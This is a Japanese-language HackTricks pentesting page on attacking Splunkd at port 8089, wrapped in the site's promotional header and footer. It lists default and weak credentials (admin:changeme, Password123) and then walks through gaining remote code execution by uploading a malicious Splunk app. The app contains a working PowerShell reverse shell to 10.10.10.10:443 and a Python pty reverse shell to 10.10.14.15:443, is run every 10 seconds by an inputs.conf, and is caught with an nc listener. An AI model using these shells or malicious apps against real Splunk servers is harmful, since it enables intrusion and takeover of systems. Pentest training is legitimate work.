11 KiB
8089 - Splunkdのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
基本情報
Splunkは、データを収集、分析、可視化するためのログ分析ツールです。元々SIEMツールとして意図されていなかったものの、Splunkはセキュリティモニタリングとビジネス分析によく使用されます。Splunkの展開では、機密データが保管されることがあり、攻撃者にとっては豊富な情報源となる可能性があります。
デフォルトポート: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunkのウェブサーバーはデフォルトでポート8000で実行されます。 {% endhint %}
列挙
無料版
Splunk Enterpriseの試用版は60日後に無料版に変換され、認証は必要ありません。システム管理者がSplunkの試用版をインストールしてテストすることは珍しくありませんが、その後忘れられることがあります。これにより、環境にセキュリティホールが導入され、認証の形式がない無料版に自動的に変換されます。予算の制約により、一部の組織は無料版を選択する場合がありますが、ユーザー/ロール管理の重要性を十分に理解していない場合があります。
デフォルトの資格情報
古いバージョンのSplunkでは、デフォルトの資格情報は**admin:changeme
**であり、ログインページに便利に表示されます。
ただし、最新バージョンのSplunkでは、インストールプロセス中に資格情報が設定されます。デフォルトの資格情報が機能しない場合は、admin
、Welcome
、Welcome1
、Password123
などの一般的な弱いパスワードを確認する価値があります。
情報の取得
Splunkにログインすると、データを閲覧したり、レポートを実行したり、ダッシュボードを作成したり、Splunkbaseライブラリからアプリケーションをインストールしたり、カスタムアプリケーションをインストールしたりできます。
また、Splunkではコードを実行することもできます。Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、複数のコード実行方法があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。
さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。
Shodan
Splunkビルド
RCE
カスタムアプリケーションの作成
カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。
注意点として、SplunkにはPythonがインストールされているため、WindowsシステムでもPythonコードを実行できます。
こちらのSplunkパッケージを使用して、手助けをします。このリポジトリの**bin
**ディレクトリには、PythonとPowerShellの例があります。以下、ステップバイステップで進めていきましょう。
これを実現するために、まず以下のディレクトリ構造でカスタムSplunkアプリケーションを作成する必要があります:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
ディレクトリには、実行するスクリプト(この場合はPowerShellのリバースシェル)が含まれており、デフォルトのディレクトリにはinputs.conf
ファイルがあります。私たちのリバースシェルは、PowerShellのワンライナーです:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
inputs.confファイルは、Splunkにどのスクリプトを実行するかとその他の条件を指定します。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位で指定され、この設定が存在する場合にのみ、入力(スクリプト)が実行されます。
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
必要なのは、アプリケーションが展開されたときに実行され、PowerShellのワンライナーを実行する.bat
ファイルです。
次のステップは、Install app from file
を選択し、アプリケーションをアップロードすることです。
悪意のあるカスタムアプリをアップロードする前に、Netcatまたはsocatを使用してリスナーを開始しましょう。
sudo nc -lnvp 443
listening on [any] 443 ...
アプリのアップロード
ページで、参照
をクリックし、先に作成したtarボールを選択し、アップロード
をクリックします。アプリケーションのステータスが有効
に自動的に切り替わるため、アプリケーションをアップロードするとすぐに逆シェルが受信されます。
Linux
もしLinuxホストを扱っている場合、カスタムの悪意のあるアプリを作成してtarボールをアップロードする前に、rev.py
のPythonスクリプトを編集する必要があります。それ以外のプロセスは同じであり、Netcatリスナーで逆シェル接続を受け取り、操作を開始することができます。
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & 特権昇格
次のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかについて説明しています:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
参考文献
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。